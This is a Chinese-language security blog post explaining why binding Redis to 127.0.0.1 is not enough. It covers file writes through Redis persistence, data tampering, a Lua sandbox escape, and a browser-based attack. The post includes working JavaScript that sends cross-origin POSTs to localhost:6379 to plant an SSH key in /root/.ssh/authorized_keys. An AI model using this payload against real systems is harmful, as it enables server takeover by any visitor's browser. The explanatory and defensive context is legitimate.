你以为bind了127.0.0.1就安全了么?

本地写文件

这个爆出来很久了。原理就是利用Redis的数据持久化。设置持久化文件的名称和路径,然后在Redis中写入文件内容,给Redis发送持久化的命令,这样Redis就会将数据库的内容写入执行的文件了。详细参考 http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/

这个并不一定需要SSRF,如果Redis未授权访问的,那同样可以利用。

利用点

Redis中数据和web应用的结合

如果控制了Redis中的数据,很多时候和直接控制了数据库是一样的,可以有针对性的修改数据。参考 https://www.seebug.org/vuldb/ssvid-91879 在Redis中更改了全局变量的值,导致任意代码执行。里面有对gopher协议的利用,参考 https://blog.chaitin.com/gopher-attack-surfaces/

Redis Lua Sandbox Escape

详情见 http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

利用了Redis的Lua支持,但是Redis的Lua是有sandbox的,不能执行任意的代码,怎么去尝试绕过?

https://gist.github.com/corsix/6575486 实现的了三个功能

作者在多个系统和多个Redis上都测试通过,Redis已经修复这个问题 https://groups.google.com/forum/#!msg/redis-db/4Y6OqK8gEyk/Dg-5cejl-eUJ

SSRF和CSRF结合体 看网页也能被拿shell

今天看到老外发了一个脑洞,https://ericrafaloff.com/client-side-redis-attack-poc/ 使用ajax直接给Redis发送请求,也利用的是Redis的Lua支持,原文中的Demo被我修改为写入ssh公钥的,当然上面提到的其他攻击方法都可以使用。

var keydir = "/root/.ssh";
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\nssh-rsa AAAAB... virusdefender@LiYangs-MacBook-Pro.local\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + keydir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"authorized_keys\"); ' + '\' 0' + "\r\n");

var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('save\r\n');

在这里有一个最大的限制就是浏览器跨域请求的问题,根据 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS 简单请求是可以直接跨域发送的,但是无法收到响应,简单请求的定义如下

只使用 GET, HEAD 或者 POST 请求方法。如果使用 POST 向服务器端传送数据,则数据类型(Content-Type)只能是 application/x-www-form-urlencoded, multipart/form-data 或 text/plain中的一种。

这里符合条件,所以可以直接发送请求到Redis端口。当然,还可以利用DNS Rebinding来绕过同源策略。步骤如下

思考

Update

后续 redis 3.2.6 版本加强了判断,将 Host 和 Post 两个单词当做了结束指令。